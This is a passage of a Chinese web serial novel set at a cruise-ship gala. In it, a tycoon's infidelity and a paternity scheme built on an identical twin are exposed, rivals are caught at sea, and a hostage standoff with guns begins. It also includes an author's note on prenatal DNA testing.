听到“死/同/性/恋”四个字,陈一诺后背忽地变僵直。仿佛被打耳光的不止李思维。心有灵犀似的,陈宗礼的手偷偷捏了他一下。 现场的震撼,除了李思维被打,还有她跟庄宝瑶秘密恋情被撞破。 这个爆炸性消息,把庄嘉轩炸得失去表情控制,他碰了碰陈宗瑜:“李家纯是说,我姐跟思维是恋人?” 陈宗瑜也有些迷惑,毕竟两个女生关系好,可能是闺蜜…… 她犹疑:“好像是?” 陈一诺双手抱肩:“唉,她们就是恋人!想想,为什么她们都待在A国不回来?为什么你姐的画廊开幕,让李思维策展?为什么上回你姐被欺负,思维姐那么紧张?这下都想明白了吧?” 信息输入太多,庄嘉轩双手捂住自己的嘴,蹲在地上琢磨着陈一诺的话。 陈宗瑜也蹲到他旁边,问道:“你对同性恋有意见?” 庄嘉轩摇头:“我姐喜欢谁,我哪敢有意见……我就是单纯地惊讶一下。” 他拽了拽陈宗礼的衣袖:“不好意思啊,我姐抢你老婆了。” 陈宗礼撇他一眼,嫌弃道:“你闭嘴吧!” 一旁的老太太听了半天,心里大概清楚了,抬头看着陈宗礼,冷声道:“哼,你早就知道了?” 陈宗礼双手叠在身前默不作声,他现在回答什么都不对。 陈一诺看气氛微妙,连忙开口:“奶奶,现在先别算账了,解决他们再说吧。” 老太太瞥他一眼:“哦,听起来,你也知道了?” 完了,说客变同谋了。他挠挠头发不敢作声。 …… 深夜的寒风像刀子似的割在脸上,却不及李家纯一句“死同/性/恋”让人疼。 本来,李家纯打算趁着夜色,神不知鬼不觉地带Linda下船。没想到,偶遇庄宝瑶和李思维——当时,俩人正抱在一起接吻。 李家纯丢了往日的儒雅,骂了很多,骂了很久。 恢复听觉的李思维哽咽着回骂:“我是同/性/恋,我一直就只喜欢女的!因为我每次看见男人就想到你!我就恶心!!想吐!!” 向来在家里说一不二的李家纯,被李思维反驳,并且数落,震怒到极点:“你说什么?!” “我恶心?!要是没有我各方面的支持!你能养尊处优,当豪门大小姐,外面的人能喊你港城最后一个名媛?陈家能看得上你?” 李思维冷笑:“是,我真该谢谢你!那些表面夸我豪门千金、港城最后一个名媛的人,背地里都在说:长得漂亮有什么用,又不是个儿子!” “我听几句闲言碎语就算,我无所谓。但是,我妈做错了什么?” “她那么优秀的人,就因为你,她身上永远跟着一个“但是”!但是她生不出儿子,但是她没法给李家传宗接代……” “我不在意你疯魔似的重男轻女,你也别管我喜欢男的女的,不行吗?” 李家纯怒吼:“不行!你当你只是李思维吗?!你是我女儿,你就得听我的!” “你的婚姻捆绑着宏发几万人的饭碗!你跟她在一起,庄家生意有陈家的大吗?!把你喜欢女人的毛病扳回来,我就当今晚的事没发生过!否则你就不再是我女儿!” 李思维牵起庄宝瑶的手,语气跟秦若霜说离婚时一样坚决:“那我不当了!!” 李家纯难以置信地皱眉,怒吼:“不当了?!好,那你别想花我一分钱!我的遗产也没你的份!!” “哦?”李思维挑眉,“多新鲜啊。以前怎么没用遗产控制我?” “哦……因为以前你只有我一个女儿,你不留给我就只能捐了。现在,有儿子了,终于有机会分配遗产了,是不是?!” 李家纯咬牙,本想瞒着的,干脆豁出去了:“是!老天待我不薄,这个年纪给我一个儿子!要怪就怪你妈没能力替李家添丁!” 看了半天戏的Linda,终于钻到空子,刷存在感。 她上前一步拉着李家纯的手臂,劝道李思维:“思维,你爸年纪大了,你不要这样气他。” 李思维要是嘴里有暗器,此刻就吐出来,直/插她的大动脉,她怒吼道:“这里轮不到你说话!” Linda不怕死似的,回呛:“思维,我还怀着你弟弟,万一你爸有什么三长两短,我们母子怎么办哦?!” 李思维声音带着杀意:“哼,他要有三长两短,你们一尸两命死在海里陪葬不就好了?” Linda被李思维的死亡威胁震慑住,吓得抖了抖,小动物似的躲到李家纯身后寻求庇护。 “家纯,你看她……” 听见跟自己年纪差不多的Linda,喊父亲“家纯”,李思维黄胆水都要吐出来。 李家纯拍拍Linda的手,安慰中带着怒火:“别怕,有我在,看谁敢动你!” “我敢!” 客舱的出口处走来一个人,她年过半百,身材依然保养得宜,一举手一投足透着高贵优雅。 那人慢慢从暗处走到灯下,灯光照亮她的侧脸,那是李家纯原配秦若霜。 …… 就算陈一诺重生,也料不到,参加一个慈善晚宴能吃到如此大的瓜。 无论是“李思维与庄宝瑶激吻”,还是“李家纯秘密登船带走小三,撞破女儿同性恋情!”都足够劲爆! 结果狗血不止于此,正室秦若霜也加入到这场李家“撕逼大战”中,真是高/潮迭起。 看见秦若霜的李家纯,脸上看不到愧疚,甚至看不见惊慌。 他像过去一样,对伴侣颐指气使:“若霜,你来得正好!我真心实意为你女儿着想,你看看她,不但搞同/性/恋,还对我这个父亲言语攻击!” “我自以为这么多年,对她的需求尽可能满足,对你也够包容了。现在搞成这样,李家脸面全被你们丢光了!” 比起年轻人的一惊一乍,秦若霜知悉女儿性取向后,反应非常镇定。 她甚至没跟李思维有眼神接触,而是第一时间反手给李家纯回赠一个耳光。 “啪——”利落的一声响,秦若霜眼里露出复仇的快意。 场外观众,“我去!”连连,庄嘉轩也捂着自己的脸:“这巴掌,听着比李家纯打得那巴掌还疼。” 陈一诺笑了:“秦伯母故意用的反手,看见她手指上的首饰没~那可是钻石啊!” 用象征情比金坚的钻石,狠打负心人的脸,当然疼了! 陈宗瑜握拳:“秦伯母太帅了!” 在港城呼风唤雨的李家纯,难以置信地捂住半边老脸,咬牙切齿道:“你敢打我?!” 秦若霜“嗯”应了声:“反正也撕破脸,我就打了,怎么样?” 她把李思维和庄宝瑶护在身后,步步逼近:“谁打我女儿,我就打谁。” “什么意思?你支持她?”李家纯没想到向来温顺的伴侣,此时会毫不犹豫地选择跟女儿站在同一阵线。 “不支持她?”秦若霜目光扫过Linda的孕肚,“难道支持你吗?我又没疯。” 他双手叉腰,半张脸有肿起,还有凹陷。他一副懒得跟她们废话的不耐烦:“行,既然你们母女一条心,我没什么好说的。” “正好,我也有自己家庭,你们俩净身出户,爱怎么走怎么走。” 李家纯拽着Linda的手就要走,秦若霜看着前夫的干脆,温和的脸上出现一种难以形容的表情,像掺着恨,又混了同情。 在他们走出几米后,叹了口气:“念在夫妻一场,我最后告诉你一件事。” 李家纯停下脚步,不耐烦地催促:“有话就说,卖什么关子?” 秦若霜双手搭在身前,慢慢踱步向李家纯。两人已经很久没有这样近距离对视过。明明是差不多的年纪,李家纯却觉得这个女人像从来不会老似的。 “你在外面沾花惹草那么多年,怎么就她怀上了?还正好是个儿子。” “你一只千年老狐狸,难道完全不怀疑吗?” 她淡定说出这句话的时候,Linda肉眼可见的紧张,眼神闪烁不敢对视。 李家纯向来自信,他冷笑:“你放心,我早就让专家确认过,就是我儿子。上天怜悯,给我们李家留了一点血脉!不用你操心。” 秦若霜“哈哈”冷笑几声:“我不知道贺朝阳给她动了什么手脚。但我很确定,她肚子里的绝对不是你儿子!” “因为,在几十年前,你开始找别的女人生儿子开始,你就不具备生孩子的能力。” “!!!!” 第82章 在场所有人因为秦若霜的话屏住呼吸。 李家纯厉声道:“放屁!我每年体检,身体一切指标都正常!!我怎么可能……” 秦若霜冷漠地看着他爆炸,表情很淡漠:“你记不记得几十年前,我们做婚前体检,那天你检查完,没看结果就回去工作。从那天开始,你的所有体检报告,都会先经过我。” “在婚检那天,你已经被检查出精子活力低。医生说,你的精子受孕几率只有1-2%。” “当时,我觉得婚姻里有没有小孩顺其自然就好,不强求,但不想让你伤心,一直告诉你。后来,意外怀上思维,医生也觉得很惊讶。” 秦若霜慈爱地看着李思维:“其实,她才是上天对你的怜悯!” “后来,你年纪越来越大,精子活力就更低,受孕几率无限趋近于0。如果不是做了别的手脚。你根本不可能让她自然怀孕。我说得够明白了吗?” 阴影处,陈宗瑜咬牙切齿:“秦伯母早就知道他弱/精,还是义无反顾跟李家纯结婚。反倒是李家纯总抱怨秦伯母生不了儿子,真让人恶心……” 庄嘉轩不以为然:“我不明白,前期没告诉实情可能是因为爱,后期李家纯为了要儿子都那样了,秦伯母干脆戳破不就好了?他也死心了不出去鬼混了。” 陈宗礼目光微动:“有没有可能,到了后期,秦伯母依然爱他呢?” 陈宗瑜惊呼:“这样了还爱?斯德哥尔摩综合症吧?” “不要轻易批判别人的感情,在感情里,人就容易迷失,想想你自己……” 陈宗瑜的恋爱脑不逊于任何人,顿时不说话了。 老太太继续道:“在你秦伯母眼里,他们没孩子,她依旧爱他。到后来,只要他跟别人没孩子,她也依旧爱他。她的爱多一点,所以苦也吃得多一点。” “麻绳专挑细处断。你秦伯母也没料到,会闹出这种事来。但在触碰底线的时候,她没有犹豫,跟他果断割席,已经很了不起了。” 旁边的老太太用力裹紧身上的披肩,作为他们几十年感情的见证者之一,看着他们从郎才女貌,走到如今这一步,只剩下无限唏嘘。 …… 得知真相的李家纯,整个人如遭雷劈。 这么多年来,他认定了秦若霜对他毫无隐瞒,也认定她离不开自己。没想到,短短十几分钟,秦若霜直接摧毁了他的所有刻板印象。 几十年的夫妻,此时看着彼此,就像看个陌生人。 李家纯坚决不信秦若霜的一面之词,摇头争辩道:“无限趋近于0,也还是有几率!或许,她就是那个意外呢?!” 秦若霜点到为止,不再说话。一双眼睛安安静静地盯着李家纯,那种自信的冷静,让李家纯从抱有希望,慢慢崩溃,最后疯魔。 他忽地从身旁保镖身上夺过一把枪,指着怀孕的Linda,脸色阴沉地像从地狱来的索命鬼。 “说!到底是怎么回事!” Linda自从怀孕后,李家纯对她关怀备至,从无狠话。此时,被他狂躁的模样吓到,更被脑袋上的枪吓得一片空白。 她举起双手,腿软瘫坐在地上求饶:“家纯,你别听的一面之词!你不是吃了贺朝阳给你的药吗?而且,我们做过DNA比对的呀,那总不能是错的吧?” 李家纯大梦初醒似的点头:“没错,我都忘了,贺朝阳研发了一种提升能力的药,我吃了的!” “还有DNA比对!报告上,孩子跟我的亲子鉴定匹配度99.9%!这怎么解释?” 这样一闹,场外的观众也听晕了。 陈宗瑜喃喃:“什么药啊,还能起死回生了?” 庄嘉轩也挠头:“就算不是起死回生,听着助益甚大,不然DNA鉴定结果怎么来的,贺朝阳在报告上也做不了手脚吧!” 陈一诺点头:“我跟哥之前分析过,他做报告上做手脚的可能性不大。” 庄嘉轩本来就喝了酒,现在更转不动了:“操……那就是药牛逼!” “不然,这个Linda是圣母玛利亚?还能童贞女生子?” 陈宗礼拍拍他的脑袋:“不要封建迷信!” 庄嘉轩惊讶:“圣母是西方的吧?” 陈一诺趁机也拍他的脑袋:“西方就没有封建迷信吗?你个崇洋媚外的!” …… 甲板上,Linda声泪俱下,李家纯歇斯底里,只有秦若霜的情绪稳如泰山。 她平静地看着前夫和小三,看弱智似的:“如果真的有这种药,贺家早拿去卖了,还需要巴结什么奥斯康家族?李家纯啊李家纯,亏你聪明一世啊!贺朝阳骗你呢!” 李家纯再不想承认,也知道药有问题,转身跟保镖嚷:“还看!赶紧把人抓来问清楚!” 保镖们立刻跑到高层甲板处——邮轮上的船只释放区。 本来,贺朝阳一行人打算跟李家纯一起坐船离开,殊不知李家纯在甲板遇到李思维。在船里观战的贺朝阳看形势不对,担心事情败露,早早让人把船往下释放。 保镖们趴在甲板栏杆往下一看,对李家纯嚷道:“老板,他们抢了你的游艇打算跑,快降落到海面了!” “贺朝阳这个王八蛋!” 李家纯觉得视线一片模糊,他拍了拍脑袋,趴在围栏勉强往下看。 说好一起坐船走的,贺朝阳却抢了他来时的游艇。眼看距离海面不剩几米,再往下就要开走了。 本来,秦若霜的怀疑只是怀疑,除了证明他能力不行,没有任何证据确定Linda的孩子不是他的。 但作为几十年的枕边人,秦若霜非常清楚李家纯性格里的多疑。她在李家纯心里埋下种子,让他慢慢生根发芽。 如今,贺朝阳劫船逃走,在李家纯眼里,从半信半疑立刻成了畏罪潜逃。 他对秦若霜嚷道:“还不让人停止下降?!别让贺朝阳这兔崽子跑了!” “李叔,需要帮忙吗?” 李家纯的视线往声音方向看,一行人从阴影里走出来,说话的人,是为首的陈一诺。 狼狈的李家纯看见他们,紧咬后牙槽:“你们……怎么会在这里?” 陈一诺淡淡道:“不要紧张,我们只想帮你,贺朝阳的船你截停不了,但我可以。” “不过作为交换,李叔也得帮帮我。” 李家纯撇了眼老太太:“老太太,你孙子趁火打劫!你管不管?” 老太太冷笑一声:“哼,我教他们多向你学习,机会渺茫也要搏一搏,万一有奇迹呢!我觉得他学得挺好的。” 老太太这一顿嘲讽,让李家纯脸色更加难堪。 换平时,庄嘉轩肯定要给老太太拍手叫好。此时,只能努力忍笑,浑身发抖。 李家纯脸色煞白,那一头贺朝阳的船已经降到海面,如果真被他逃了,孩子的事他可能就找不到答案了! 他转头盯着陈一诺:“你帮我把游艇抢回来,我帮你劝Frank撤销对时尚的反垄断控诉,是这样吧?” 陈一诺得逞地笑笑,眉毛快要飞起来:“是的。” 李家纯依然一脸不情愿,陈宗礼赶紧添把火:“李叔,游艇已经降落到海面了。” 果然,“哗——”一声响,游艇落到海上,被浪拍打得摇摇晃晃。 李家纯只能妥协:“行吧。” …… 邮轮已经使出公海,夜晚风高浪急,贺朝阳的游艇在降落海面后,被浪吹得东摇西摆。 幸好,李家纯这艘游艇配置豪华,不至于太过颠簸,贺朝阳走到驾驶舱,董城用枪指着船长在茫茫大海中航行。 董城:“贺少,已经吩咐船长往港城开,但我担心李家纯会派人在岸边设伏。” 贺朝阳“切”了声:“他最多怀疑孩子是不是他的。只要没人说泄密,一切好说。” 董城那么大的块头后背全是汗,他问:“那个Jason……怎么处理?” 贺朝阳冷笑:“不是说过了吗?丢海里……” 在漆黑的海上,他们只能依靠游艇微弱的光看清彼此,此时,贺朝阳的脸在董城看来白得像一只僵尸,加上诡异的笑容,让他毛骨悚然。 他吞了口口水,只能应道:“好。” “朝阳啊!”吴丹妮的声音,从身后传来,她脖子上披着貂,身体却在微微发抖。 “不等李家纯和Linda,我们就先走了呀,不合适吧?” 虽然表面看不出来,贺朝阳已然很烦躁,他道:“妈你别管了,先回船舱等着吧。” 吴丹妮:“哎呀,这不合礼数的吧,Linda还怀着孕呢,你对女孩子就是没你哥细心……” 母亲的聒噪加上心烦,让贺朝阳彻底爆发:“够了!我比不上我哥?现在蹲监狱的是他!” 他看了一眼旁边的人:“还不快把太太带进船舱?!” 吴丹妮被贺朝阳吼得眼睛都直了,嘴虚无地张了张,说:“你……”以后半天没有下文。 这时,一束强光,“噌——”地照向贺朝阳所在的游艇上。 船上所有人连忙用手挡着眼睛,等适应后,四处张望寻找光源。才发现海面不知何时漂着三艘快艇,朝着他们直直开过来! 董城大吼:“贺少,我们被包围了!” 他们身后的路被庞大的“维多利一号”拦截,面前还有三艘快艇包抄,他们几乎逃无可逃。 埋伏许久的三艘快艇同时亮灯,三束光,把贺朝阳的游艇锁在茫茫大海的中央。 “贺朝阳,你已经被我们包围了!放下武器,停止反抗,你逃不掉了!” 贺朝阳一愣,那把让他恨得牙痒痒的声音,从邮轮上空传来。 他眯着眼仰起头,果不其然,陈一诺那张英俊带着狡黠的脸也在看他,手里拿着大喇叭,旁边站着看好戏的陈宗礼。 贺朝阳咬牙切齿:“陈一诺!这件事与你无关!” 这时,李家纯冒出来:“跟他无关,我老子有关!你立刻给我上来!” 董城慌了,要是被:“贺少,怎么办啊?” 贺朝阳一个箭步冲到驾驶室,对船长道:“还等什么?冲出去啊!” 经验丰富的老船长无能为力:“贺少,这怎么可能冲出去?!” “你不行,我来!” 贺朝阳推开船长,自己掌握方向舵,全速朝三艘快艇里中间的那艘快速冲过去。 船上,庄嘉轩看见游艇加速,骂道:“艹,贺朝阳还不服,想硬碰硬?!” 陈宗礼非常淡定:“那他不走运了!看看谁更硬?” 陈一诺翘起嘴角,无线对讲机跟快艇上的聂加说道:“加哥,他要是直接撞船,还能把他拦住吗?” 对讲机内传来聂加非常稳妥的声音:“放心。这种程度,肉搏完全没必要,我们只智取!” 陈一诺跟陈宗礼眨了眨眼,冲对讲机说:“行,加油!” 海面上,左右两侧的快艇加速,开始往贺朝阳的游艇船舷靠近,中间那艘快艇缓慢地走“之”字,像一根胡萝卜,引诱着贺朝阳朝他冲过来,但不给贺朝阳任何突围的机会。 庄嘉轩:“原来三角包围是这个意思啊!两侧快艇朝游艇靠拢,最前面那艘堵住对方的出路。然后两边不停收窄包围的范围,贺朝阳这下傻眼了吧!“困兽斗”了。” 临近游艇10米左右的距离,两侧快艇工作人员开始对贺朝阳的游艇撒黑色的渔网。 陈一诺通过对讲机问聂加:“你们在撒网?” 聂加回答:“这是高强度尼龙渔网,能缠绕在螺旋桨上,让它无法工作,整艘游艇就成废船了!” 刚刚还要硬碰硬突围的游艇,此时被三艘快艇包围在中央,成了一条没有生机的死鱼。 “砰砰——”几声枪响,聂加带人上游艇抓人。 过了大概几分钟,对讲机内传来聂加轻描淡写的汇报:“人都抓到了。” “抓到了!” 陈一诺举起对讲机大吼,目光看向陈宗礼,陈宗礼诧异地从他眼里捕捉到了灼灼怒火。 明朗的小卷毛忽然变身成了狠戾的西伯利亚猎犬。 他似乎不止想抓贺朝阳,还想杀了贺朝阳。 第83章 冬夜凌晨时分,“维多利一号”邮轮的甲板上,前所未有的热闹。 聂加像押犯人一样,把贺朝阳押送到李家纯面前,堂堂首富二公子如此狼狈,脸上由始至终一副你奈我何的表情。 吴丹妮比他晚一步被送上船,身上披着的那件彰显身份的貂,不知何时已经不见了。她穿着那身抢眼的红色低胸晚礼服瑟瑟发抖。 保镖好心给她一张毛毯,她嫌弃地抢到身边裹住,骂骂咧咧往前走:“你们干什么呀?凭什么拦我们的船?还有没有王法了?” 李家纯本来就心烦,立马怼道:“吴丹妮,那是我的游艇,你们凭什么开走?!” 吴丹妮自知理亏,却还是嘴硬:“李家纯,开你游艇怎么啦?一辆游艇值多少钱,我给Linda送了一座四百万的送子观音呢。” 不提Linda还好,一提李家纯就生气,他怒斥:“还好意思提!你们母子联合起来把她带回港城,还带上邮轮,到底安的什么心?!” 李家纯的声音洪亮,把吴丹妮吓得顿时哑了,怯生生:“朝阳告诉我,Linda天天躲在酒店不开心么,我就想刚好俪妍会慈善晚宴,带她来见见世面,散散心。” 她的丹凤眼瞟着秦若霜,以为东窗事发,自保道:“我可没告诉若霜,她肚子里的孩子是谁的呀。你自己没兜住怪我们干嘛?” 听意思,吴丹妮只知道Linda肚子怀了李家纯的孩子,按照贺朝阳的吩咐带上船,其他一概不知。 李家纯转头看向贺朝阳:“那你跑什么?” 贺朝阳看了眼李家纯,又看了一眼旁边的陈家兄弟,根据李家纯的提问快速猜测,到底李家纯知道什么?知道什么程度? 片刻后,他道:“我公司有急事要处理,我看李叔的家事还要花点时间,所以着急先走了。对不起啊。” 一看就是说谎! 李家纯拽起他的衣领,低声问他:“你小子在我面前就别装了,那药是不是有问题?” 贺朝阳心里抽了一下,表情依然是无辜软弱的:“李叔,那药如果真有问题,Linda也怀不上啊?DNA测试结果不是最有说服力吗?” 一旁听着的庄嘉轩心里打鼓,低声跟陈宗礼道:“李家纯也是急疯了,这问题问的毫无技术含量!别说贺朝阳了,问我我也不说实话啊!” 陈宗礼冷冷看着贺朝阳,这一局的成败对陈一诺来说非常重要。上船之前,他就说过要在这里彻底解决贺朝阳。 为此,以防万一,陈一诺提前让聂加准备快艇随时待命。没想到,真派上用场了。 但贺朝阳嘴巴太密,吴丹妮不知清楚细节,眼看线索就要断了。接下来该怎么办? 这时,游艇上忽然传来一阵躁动,陈一诺用对讲机问:“下面发生什么事?” 保镖:“一个大块头想趁我们不注意杀一个男的,被我们制止了,要带上来吗?” 庄嘉轩听到疑惑:“胆子那么大,这时候还敢掏枪杀人?” 陈宗礼淡定道:“杀人灭口。” 陈一诺一听就知道机会来了,对着对讲机:“把人带上来!” …… 十分钟后,一个大块头和一个被捆着手脚男人,出现在甲板上。 庄嘉轩一眼认出男人:“哈,得来全不费功夫,原来是你们抓了Jason!” 陈宗礼故意瞥了眼贺朝阳,对方忽然皱起眉,果然,这个Jason是重要证人。 陈一诺同样察觉这一点,径自走到Jason旁边,单手用力把人拎起,手法非常干脆。 庄嘉轩一脸看好戏的样子:“哦豁,一诺亲自出手,他套话可厉害了,Jason要完了!” 陈宗礼挑眉,热切的视线始终黏在陈一诺身上。看似斯文柔弱的陈一诺,此时,单手拎起一个男人,宛如西装暴徒,气势逼人。 他拽着人走到李家纯面前:“李叔,这位叫Jason的您应该认识吧?” 这是把Linda介绍给他认识的掮客,李家纯自然认得:“认识,他怎么在船上?” 陈一诺介绍:“这位Jason本来被庄少带上船,结果被贺朝阳绑回上游艇的仓库,还企图杀人灭口。” 李家纯眯着眼从贺朝阳和Jason之间来回扫,问道:“有这种事?” Jason嘴上贴着封口胶,陈一诺一把撕开,Jason嘴上留下一道红印,他嚎啕大哭:“李总,你救救我!” 陈一诺凑近他,说道:“李总救不救你,取决于接下来的问题,你说不说实话。” “Linda肚子里的孩子,到底怎么来的?” Jason露出惊恐的神色,男人对这件事避讳得很。如果他说实话,不死也要被李家纯连坐怪罪。他不想摊事,只想自保平安。 他摇头:“孩子……是李总的呀……” 从Linda、贺朝阳到Jason,大家都说孩子是李家纯的,那就是事实了。心里的疑虑消除大半。 他指着秦若霜,打了胜仗似的:“这下你听清楚了吧。” 人总是选择自己愿意相信的。 秦若霜看着疯魔的李家纯,冷笑着,扯起嘴角。 此时的李家纯,都没兴趣追究为什么贺朝阳要杀Jason,一味只想着儿子、儿子、儿子。 陈一诺意识到这点,给身旁的聂加一个眼神。 对方上前两步,手按住Jason的左臂,迅雷不及掩耳的速度简单一拆——Jason的左肩膀软绵绵地落在身侧。 “啊——”Jason后知后觉的吼叫声,响彻夜空,很快被海风吞噬。 李家纯被吓了一跳,看着陈一诺,又看看Jason软乎乎的手:“你……你干什么?” 陈一诺没理会李家纯,捏起对方的下巴:“我让你实话实说,你要是再说谎,另一只手臂我也会卸掉。” “双手没了,还有两条腿。到时候,你就会知道,贺朝阳让你死在海里,其实很仁慈。” Jason还想坚持:“我真没说谎啊,李总……” 陈一诺抬抬下巴,聂加立刻把他另一只肩膀也卸掉了。 “啊——”哀嚎不绝的Jason痛得实在受不了,连旁边围观的人,都觉得残忍。 陈宗瑜转开脸,喃喃:“一诺哥哥怎么这样……” 庄嘉轩举起手替她捂眼,还添油加醋:“还是我温柔吧,你哥手段太狠毒了。” 陈宗礼睨他一眼,视线继续追随陈一诺。明明北风呼呼吹着,他却越看越热,奇了怪了。 双臂脱臼的Jason意识到如果再不说实话,可能比死在海里更惨。 他额上全是汗珠,妥协道:“我说我说!” 他看了一眼Linda,忍着疼痛:“Linda肚子里的孩子,确实不是李总的……。” 陈一诺追问一句:“那是谁的?” Jason几乎哭了:“我只知道,每次陪李总的女生,第二天都会再接待另一个男人。” 他转头,用下巴指向贺朝阳:“那人的身份只有贺朝阳知道,我只负责接送这些女生,其他全不知情啊。求求你放过我吧。” 本来平静的李家纯,血液上涌后退了几步,然后冲到贺朝阳面前,大吼:“那人是谁?!” 贺朝阳还是装软弱:“李叔,陈一诺这是屈打成招啊,这种情况下Jason说的都是言不由衷的,不可信的!” “况且,我随便找个男人,就能让Linda怀上跟李叔亲子鉴定99%的孩子?科学怪谈吗?” 线索再次断了。 所有人虽然默认这个孩子不是李家纯的,可就是找不到证据证明。眼看,这次又摁不死姓贺的,陈一诺着急得咬紧后牙槽 忽然,陈宗礼的声音传来:“随便找个男人肯定不行。” 他上斜眼瞪着贺朝阳,仿佛洞悉一切:“必须要找一个基因跟李叔高度相似的,最好是亲兄弟。” “譬如,李叔的弟弟。” …… 一阵无名的海风卷起巨浪,“嘭——”地拍打在“维多利一号”的船身上,剧烈的震动让甲板上的人几乎站不稳,空气中弥漫的小水珠,砸到身上,全是海水的咸腥。 陈宗礼嘴里说的“弟弟”,确有其人,正是李家纯的双胞胎弟弟李家厚。 长相相似的两个兄弟,地位成就却大大不同。 哥哥李家纯成了豪门巨富,弟弟李家厚则是在宏发打工的中层干部。记忆中,他弟弟一直老实本分,家庭美满儿女双全,是一个好父亲,好丈夫。 李家纯以为自己听错,重复问了两遍:“你说什么?我弟弟?怎么可能?” 站在一旁的秦若霜瞬间明白了,觉得荒唐又恶心。 她冷笑:“宗礼,你解释一下吧,你说清楚了,他死不了心。” 陈宗礼瞥了一眼Jason,他软软地跪在地上,像被剁了双手的人彘。 他冷静说道:“这都是我的猜测,李叔你可以去核实。” “理论上,同卵双胞胎的DNA相似程度非常高。而你恰好有一个双胞胎弟弟,所以,他们做局,抓到了你弟弟的把柄。” “然后,贺朝阳就安排他跟伺候过你的小明星上床,看谁先怀上……最后,这位Linda女士拔得头筹。” 周围的女性听到这里,后背都是一阵恶寒,李思维“呸”了一声:“你们把女人当玩具吗?!” 吴淑芬也骂:“什么东西!贺朝阳,你也是有妈生的!这种阴损的事也干得出来!!” 软坐在一侧的Linda懵了:“怎么可能……那晚明明是……” 陈宗礼对Linda解释:“我猜,你见李总弟弟的时候,应该喝了酒,他们长得又像,灯光也暗,你就认错人了。” Jason补充道:“哦哦,我想起来了,那个男人跟贺朝阳赌钱,长得确实跟李总很像……” 李家纯自己也听明白了,喃喃道:“难怪他最近总是怪怪的。” “因为双胞胎DNA相似,所以,他的孩子的DNA跟我做比对时,匹配度自然也高……” 原来如此…… 一切,都是贺朝阳的精心布局。 这一环扣一环,布下天罗地网,就是为了利用李家纯“求子若渴”的心理,把他紧紧捏在贺家手里! 真相揭晓的那一刻,李家纯目露凶光,抢走保镖的枪朝贺朝阳方向踉跄着走去。 边走边吼:“贺朝阳!我要你的命!” 四周的人都在尖叫,甲板上一片混乱。 就在李家纯要扣动扳机之际,他突然捂住头,眼冒金星,“砰——”倒在甲板上。 离他最近的陈一诺,迅速围在他身边,对秦若霜大喊:“找医生!” 趁着所有人一团乱,贺朝阳跟董城对了一个眼色。 他眼疾手快,捡起李家纯掉出来的枪,三白眼充了血,三步并两步,直奔距离最近的老太太身边…… 此时,所有人的关注点都在李家纯身上,等反应过来的时候,先听见有人嚷:“你想干什么?!” 簇拥在李家纯身旁的人回头一看,贺朝阳正用枪指着老太太的头,把她当作盾牌,自己藏在她身后。 “老实点,都别过来!” 与此同时,“啊——”一声尖叫,董城挟持住吴淑芬,往贺朝阳的位置靠近。 董城阴着脸:“谁都不要过来!” 陈宗礼脸色非常差,他指着对方:“贺朝阳!你放开她们!” 陈一诺听见声响,把李家纯交给李家的人,疯了一样从人群里跑出来。 陈宗礼生生拦住他,不让他冲到对面,他争不过陈宗礼,只能不管不顾喊:“我操你大爷贺朝阳!把枪放下!” 陈宗瑜看见母亲被挟持,破口大骂:“董城,挟持我妈算什么本事?有本事你挟持我啊!” 贺朝阳看他们脸上惊慌失措的模样,心中满满的快意。 “反正都是死路一条,当然要拉个垫背的!” 陈宗礼上前半步,举起双手,大喊道:“贺朝阳,放开我奶奶和二婶!我愿意跟她们交换,我来做人质!”—— 作者有话说:DNA检测部分,容我梳理一下: 怀孕期间检测胎儿DNA是可行的,目前有:无创产前亲子鉴定、绒毛穿刺和羊水穿刺。对胎儿风险较低的是第一种。李家纯如此爱子如命的大概率也是第一种。 由于无创产前亲子鉴定存在DNA相似性导致误判,其中,同父同母兄弟DNA相似程度50%,同卵双胞胎DNA相似程度99.9%。如果要进一步确认具体谁是父亲,要进行更深层次的DNA点位比对(这个比较复杂不展开)。 贺家正是补捉到这个漏洞,于是把主意打到李家纯倒霉的双胞胎弟弟头上。贺朝阳是觉得万无一失的,没想到陈宗礼猜出来了~没办法,人家主角~[捂脸偷看] 第84章 “陈宗礼!” 被陈宗礼单手拦住的陈一诺,听见换人的请求,声音都变了,他拽着陈宗礼的衣领:“贺朝阳已经输了!你自投罗网干什么?!疯了?” 陈宗礼站得挺拔,一副就该他上的冷静:“那是我奶奶和我二婶。” “行,那也是我奶奶和二婶!”陈一诺越过他,对贺朝阳嚷:“贺朝阳,你恨透我了吧,我来换!” 李思维从人群里冲出来,也喊:“这件事,因我家而起,就算要交换,也是我去交换!” 贺朝阳笑了,舔了舔牙齿:“没想到,一群少爷千金还挺热血。可这不是什么换乘游戏。” “要交换可以。让陈一诺和陈宗礼过来。” 陈一诺几乎想都不想,直接大步朝贺朝阳走,边走边说:“来啊,有本事我们赤手空拳再打一架!” “上学的时候你输,这次还是你输!” 没想到陈一诺看见他手里的枪,依然不怕死似的,朝着他的方向越走越近。 夜空的乌云被风吹散,原来今晚是一轮圆月,而圆月之下,陈一诺猩红着眼睛朝他走来的模样,仿佛是一头刀枪不入的月夜人狼! 贺朝阳握着枪的手有些颤抖,指着他又指着老太太,慌张道:“别耍滑头,我一枪要了你的命!!” “砰——”一声枪响,所有人以为是贺朝阳开的枪,结果,并没有。 所有人的注意力瞬间转移,原来,董城被吴淑芬一个肘击分了心。紧接着,被远处驾着狙击枪的保镖射中肩膀,子弹的穿透力,让他整个人往后坠,他一手拽着吴淑芬,想拉她当垫背。 “妈——”陈宗瑜看着自己母亲坠落,浑身血液冰凉,高声大喊。 千钧一发之际,庄嘉轩不要命地飞奔过去,眼看也要跟着掉下去! 幸好,最后一刻他紧紧抱住吴淑芬的腿,与此同时,上半身倒挂在栏杆外侧,全靠双脚勾住栏杆的力量,才没有掉落。 他大喊:“我抓住阿姨了!!我抓住她了!” 旁边的保镖连忙过去拽住庄嘉轩的脚,一起把昏厥的吴淑芬慢慢拉回来。 “咚——”的一声,董城就没有那么好彩,整个人摔进海里。 …… 另一边,董城被枪击中坠海后,贺朝阳乱了阵脚,他第一次真正察觉自己大势已去。 禁不住想,自己到底是怎么走到这一步的? 三白眼看向面前的陈一诺,心中腾升起一阵怒意,他想起来了,好像一切都是从这个人回港开始的。 忽然,他觉得手里的老太太没意义了!他推开老太太,力气非常大,老太太被推出几米外,“蹦——”直接撞晕在栏杆上。 “奶奶!” 正在发疯的陈一诺没料到贺朝阳也会突然发疯,把年过七旬的老太太推开。 